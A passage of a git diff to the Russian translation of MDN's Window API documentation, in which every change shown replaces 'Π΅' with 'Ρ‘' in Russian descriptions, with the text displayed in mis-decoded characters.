- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ тСкст, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Π΄ΠΈΠ°Π»ΠΎΠ³Π΅ подсказки.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ тСкст, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Π΄ΠΈΠ°Π»ΠΎΠ³Π΅ подсказки.</dd>
<dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΊΠ½ΠΎ с Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Ρ… событий ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΊΠ½ΠΎ с Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Ρ… событий ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</dd>
<dt>{{domxref("element.removeEventListener","Window.removeEventListener()")}}</dt>
<dd>УдаляСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события ΠΈΠ· ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("Window.requestIdleCallback()")}} Β {{experimental_inline}}</dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ расписаниС задачи Π²ΠΎ врСмя ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° простоя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</dd>
<dt>{{domxref("Window.resizeBy()")}}</dt>
- <dd>ΠœΠ΅Π½ΡΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π° Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ число.</dd>
+ <dd>ΠœΠ΅Π½ΡΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π° Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ число.</dd>
<dt>{{domxref("Window.resizeTo()")}}</dt>
<dd>ДинамичСски мСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("Window.restore()")}}</dt>
@@ -257,7 +257,7 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.setCursor()")}}</dt>
<dd>ΠœΠ΅Π½ΡΠ΅Ρ‚ курсор для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("Window.setImmediate()")}}</dt>
- <dd>Π˜ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ΠΊΡƒΡŽ Ρ‚ΡΠΆΠ΅Π»ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ.</dd>
+ <dd>Π˜ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ΠΊΡƒΡŽ Ρ‚ΡΠΆΡ‘Π»ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ.</dd>
<dt>{{domxref("WindowTimers.setInterval()")}}</dt>
<dd>НазначаСт Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ X миллисСкунд.</dd>
<dt>{{domxref("Window.setResizable")}}</dt>
@@ -276,7 +276,7 @@ translation_of: Web/API/Window
<h3 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹_Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Π΅_ΠΈΠ·_Π΄Ρ€ΡƒΠ³ΠΈΡ…_мСст">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… мСст</h3>
</dt>
<dt>{{domxref("EventTarget.addEventListener()")}}</dt>
- <dd>РСгистрируСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° событий Π² ΠΎΠΊΠ½Π΅.</dd>
+ <dd>РСгистрируСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° событий Π² ΠΎΠΊΠ½Π΅.</dd>
<dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
<dd>Π”Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚ строку Π΄Π°Π½Π½Ρ‹Ρ…, которая Π±Ρ‹Π»Π° Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ base-64.</dd>
<dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
@@ -361,7 +361,7 @@ translation_of: Web/API/Window
<dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
<dd>Бвойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
- <dd>{{domxref("EventHandler")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ событиС {{event("message")}}.</dd>
+ <dd>{{domxref("EventHandler")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ событиС {{event("message")}}.</dd>
<dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
<dd>Бвойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий для события mousedown Π² ΠΎΠΊΠ½Π΅.</dd>
<dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
@@ -395,11 +395,11 @@ translation_of: Web/API/Window
<dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
<dd>Бвойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий для ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
- <dd>ВызываСтся, ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½ΠΎ колСсико ΠΌΡ‹ΡˆΠΈ Π² Π»ΡŽΠ±ΡƒΡŽ сторону.</dd>
+ <dd>ВызываСтся, ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½ΠΎ колёсико ΠΌΡ‹ΡˆΠΈ Π² Π»ΡŽΠ±ΡƒΡŽ сторону.</dd>
<dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
<dd>Бвойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий для события Π²Ρ‹Π±ΠΎΡ€Π° Π² ΠΎΠΊΠ½Π΅.</dd>
<dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
- <dd>{{domxref("EventHandler")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой ΠΊΠΎΠ΄,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ событиС {{event("selectionchange")}}.</dd>
+ <dd>{{domxref("EventHandler")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой ΠΊΠΎΠ΄,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ событиС {{event("selectionchange")}}.</dd>
<dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
<dd>Бвойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий для события submits Π² ΠΎΠΊΠ½Π΅ Ρ„ΠΎΡ€ΠΌΡ‹.</dd>
<dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
@@ -413,7 +413,7 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½, когда подходящСС устройство Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π±Ρ‹Π»ΠΎ отсоСдинСно ΠΎΡ‚ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°Β (ΠΊΠΎΠ³Π΄Π° запускаСтся событиС {{event("vrdisplaydisconnected")}}).</dd>
<dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½, ΠΊΠΎΠ³Π΄Π° измСнится состояниС устройства Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ β€” Ρ‚.Π΅. ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ ΠΎΡ‚  прСдставлСнного ΠΊ нСпрСдставлСнному ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚ (ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ событиС {{event("onvrdisplaypresentchange")}}).</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½, ΠΊΠΎΠ³Π΄Π° измСнится состояниС устройства Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ β€” Ρ‚.Π΅. ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ ΠΎΡ‚  прСдставлСнного ΠΊ нСпрСдставлСнному ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚ (ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ событиС {{event("onvrdisplaypresentchange")}}).</dd>
</dl>
<h2 id="ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Ρ‹">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Ρ‹</h2>
@@ -422,7 +422,7 @@ translation_of: Web/API/Window
<dl>
<dt>{{domxref("Window.ConstantSourceNode")}}</dt>
- <dd>БоздаСт экзСмпляр {{domxref("ConstantSourceNode")}}</dd>
+ <dd>Боздаёт экзСмпляр {{domxref("ConstantSourceNode")}}</dd>
</dl>
<dl>
@@ -431,9 +431,9 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
<dd>{{todo("NeedsContents")}}</dd>
<dt>{{domxref("Image")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚Β {{domxref("HTMLImageElement")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚Β {{domxref("HTMLImageElement")}}.</dd>
<dt>{{domxref("Option")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{domxref("HTMLOptionElement")}}</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{domxref("HTMLOptionElement")}}</dd>
<dt>{{domxref("Window.QueryInterface")}}</dt>
<dd>{{todo("NeedsContents")}}</dd>
<dt>{{domxref("Window.XMLSerializer")}}</dt>
diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html
index 5207cf8536..a9ab800401 100644
--- a/files/ru/web/api/window/innerheight/index.html
+++ b/files/ru/web/api/window/innerheight/index.html
@@ -33,7 +33,7 @@ translation_of: Web/API/Window/innerHeight
<pre class="brush:js">var intFrameHeight = window.innerHeight; // or
var intFrameHeight = self.innerHeight;
-// Π²Π΅Ρ€Π½Π΅Ρ‚ высоту ΠΎΠΊΠ½Π° просмотра ΠΊΠ°Π΄Ρ€Π° Π² Π½Π°Π±ΠΎΡ€Π΅ ΠΊΠ°Π΄Ρ€ΠΎΠ²
+// Π²Π΅Ρ€Π½Ρ‘Ρ‚ высоту ΠΎΠΊΠ½Π° просмотра ΠΊΠ°Π΄Ρ€Π° Π² Π½Π°Π±ΠΎΡ€Π΅ ΠΊΠ°Π΄Ρ€ΠΎΠ²
var intFramesetHeight = parent.innerHeight;
// will return the height of the viewport of the closest frameset
diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html
index d16b779f35..b5143f7ccf 100644
--- a/files/ru/web/api/window/localstorage/index.html
+++ b/files/ru/web/api/window/localstorage/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/Window/localStorage
<p>Бвойство <strong><code>localStorage</code></strong> позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ {{domxref("Storage")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ. <code>localStorage</code>Β Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ свойству <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. Π Π°Π·Π½ΠΈΡ†Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ свойство <code>sessionStorage </code>Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ сСанса (Π΄ΠΎ закрытия Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°), Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β Π΄Π°Π½Π½Ρ‹Ρ…,  находящихся в свойствС <code>localStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ хранСния и ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ JavaScript.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅, сохранСнныС ΠΊΠ°ΠΊ Π² <code>localStorage</code>, Ρ‚Π°ΠΊ ΠΈ Π² <code>sessionStorage</code>, ΡΠ²Π»ΡΡ‚ΡŒΡΡ спСцифичными для ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° страницы.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅, сохранённыС ΠΊΠ°ΠΊ Π² <code>localStorage</code>, Ρ‚Π°ΠΊ ΠΈ Π² <code>sessionStorage</code>, ΡΠ²Π»ΡΡ‚ΡŒΡΡ спСцифичными для ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° страницы.</p>
<p>ΠšΠ»ΡŽΡ‡ΠΈ ΠΈ значСния <strong>всСгда строки</strong> (Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, цСлочислСнныС ΠΊΠ»ΡŽΡ‡ΠΈ автоматичСски Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Ρ‹ Π² строки).</p>
@@ -42,7 +42,7 @@ translation_of: Web/API/Window/localStorage
<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre>
-<p>Π‘Ρ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· localStorage для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°, ΠΌΠΎΠΆΠ½ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π‘Ρ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· localStorage для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°, ΠΌΠΎΠΆΠ½ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js">let cat = localStorage.getItem('myCat');
</pre>
@@ -83,7 +83,7 @@ translation_of: Web/API/Window/localStorage
<p>{{Compat("api.Window.localStorage")}}</p>
-<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ объСма для <code>localStorage</code> ΠΈΒ <code>sessionStorage</code>. Π—Π΄Π΅ΡΡŒ <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС объСма Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° для <code>localStorage</code> ΠΈΒ <code>sessionStorage</code>. Π—Π΄Π΅ΡΡŒ <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС ΠΎΠ±ΡŠΡ‘ΠΌΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html
index d14951e9d3..26f2f2cd00 100644
--- a/files/ru/web/api/window/location/index.html
+++ b/files/ru/web/api/window/location/index.html
@@ -29,7 +29,7 @@ location = <em>newLocation</em>;
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_β„–1_ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄_Π½Π°_Π½ΠΎΠ²ΡƒΡŽ_страницу">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ β„–1: ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π½ΠΎΠ²ΡƒΡŽ страницу</h3>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ location присвоСно Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ URL ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ <code>location.assign()</code> с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ URL. ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ настройки бСзопасности, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ CORS, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅ΠΏΡΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ этому эффСкту.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ location присвоСно Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ URL ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ <code>location.assign()</code> с ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ URL. ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ настройки бСзопасности, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ CORS, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅ΠΏΡΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ этому эффСкту.</p>
<pre class="brush: js">location.assign("http://www.mozilla.org"); // ΠΈΠ»ΠΈ
location = "http://www.mozilla.org";
@@ -73,7 +73,7 @@ location = "http://www.mozilla.org";
// Π² html: &lt;button onclick="sendData('Some data');"&gt;ΠžΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅&lt;/button&gt;
</pre>
-<p>Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ URL с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ "?Some%20data" отправляСтся Π½Π° сСрвСр (Ссли сСрвСром Π½Π΅ прСдпринимаСтся Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий, Ρ‚ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ пСрСзагруТаСтся Π·Π° счСт измСнСния строки search).</p>
+<p>Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ URL с Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ "?Some%20data" отправляСтся Π½Π° сСрвСр (Ссли сСрвСром Π½Π΅ прСдпринимаСтся Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий, Ρ‚ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ пСрСзагруТаСтся Π·Π° счёт измСнСния строки search).</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_β„–6_ИспользованиС_Π·Π°ΠΊΠ»Π°Π΄ΠΎΠΊ_Π±Π΅Π·_измСнСния_свойства_hash">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ β„–6: ИспользованиС Π·Π°ΠΊΠ»Π°Π΄ΠΎΠΊ Π±Π΅Π· измСнСния свойства hash</h3>
diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html
index 372a07f62e..52c4ce128c 100644
--- a/files/ru/web/api/window/mozanimationstarttime/index.html
+++ b/files/ru/web/api/window/mozanimationstarttime/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Window/mozAnimationStartTime
<h3 id="Summary" name="Summary">Summary</h3>
